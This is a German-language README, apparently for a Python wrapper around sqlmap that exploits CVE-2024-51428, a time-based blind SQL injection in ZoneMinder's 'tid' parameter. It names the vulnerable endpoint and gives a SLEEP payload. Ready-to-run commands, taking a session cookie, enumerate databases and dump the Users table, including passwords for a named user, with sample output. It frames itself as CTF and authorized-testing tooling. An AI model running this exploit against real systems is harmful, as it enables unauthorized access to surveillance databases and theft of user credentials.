
Wrapper in Python für die Ausnutzung von CVE-2024-51428 in ZoneMinder mittels Blind-SQL-Injection und sqlmap, der die Enumeration von DBs, Tabellen und Datenextraktion mit sauberer Ausgabe automatisiert.
Python-Wrapper für sqlmap konzipiert zur Ausnutzung von CVE-2024-51428 in ZoneMinder.
Dieses Tool automatisiert die Erkennung und Ausnutzung einer Blind SQL Injection-Schwachstelle, während die Ausgabe sauber und auf nützliche Daten fokussiert bleibt.
Das Skript versteckt sqlmap-Logs und zeigt nur relevante Informationen an, wie:
Dies macht das Tool ideal für CTF-Umgebungen, Demonstrationen und Sicherheitstests.
CVE: CVE-2024-51428
Typ: Blind SQL Injection
Betroffene Software: ZoneMinder
Angriffsvektor: HTTP-GET-Parameter
Parameter: tid
Die Schwachstelle existiert im folgenden Endpunkt:
/zm/index.php?view=request&request=event&action=removetag&tid=
Der tid-Parameter wird nicht ordnungsgemäß bereinigt, bevor er in einer Datenbankabfrage verwendet wird, was Angreifern ermöglicht, SQL-Abfragen einzuschleusen.
Die verwendete Ausnutzungstechnik ist zeitbasierte Blind-SQL-Injection.
Beispiel-Payload, entdeckt von sqlmap:
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)
Dieser Payload zwingt die Datenbank zum Schlafen, wenn die Abfrage erfolgreich ausgeführt wird, was das Vorhandensein von SQL-Injection bestätigt.
Installieren Sie sqlmap bei Bedarf:
sudo apt install sqlmap
Grundlegende Syntax:
python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'
Mit diesem Befehl prüfen wir, ob das Ziel verwundbar ist oder nicht
Beispiel:
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'
Der Exploit erfordert ein gültiges ZoneMinder-Sitzungs-Cookie.
Schritte:
Application → Cookies
ZMSESSID
-cBeispiel:
-c '151fvdqmjkhnkfat7l5epgmd22'
python3 poc.py --url http://target.htb -c 'COOKIE'
Beispielausgabe:
[*] Checking vulnerability...
Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))
[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION
python3 poc.py --url http://target.htb -c 'COOKIE' -d
Beispielausgabe:
available databases [3]:
information_schema
mysql
zm
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm
Beispielausgabe:
Database: zm
Users
Events
Monitors
Storage
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username
Beispiel:
+----------+
| Username |
+----------+
| admin |
| viewer |
+----------+
Sie können Zeilen filtern mit:
-ff <COLUMN> <VALUE>
Beispiel:
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark
Äquivalentes SQL:
WHERE Username='mark'
Beispiel:
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark
Interner sqlmap-Befehl:
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump
Das Skript fungiert als Wrapper um sqlmap.
Intern durchgeführte Schritte:
/zm/index.php?view=request&request=event&action=removetag&tid=1
--threads=10
--technique=T
--batch
Dieses Tool wurde erstellt für:
Dieses Projekt wird ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken bereitgestellt.
Der Autor ist nicht verantwortlich für jeglichen Missbrauch dieses Tools.
Holen Sie stets die entsprechende Genehmigung ein, bevor Sie ein System testen.
Sicherheitsforschung / CTF-Tooling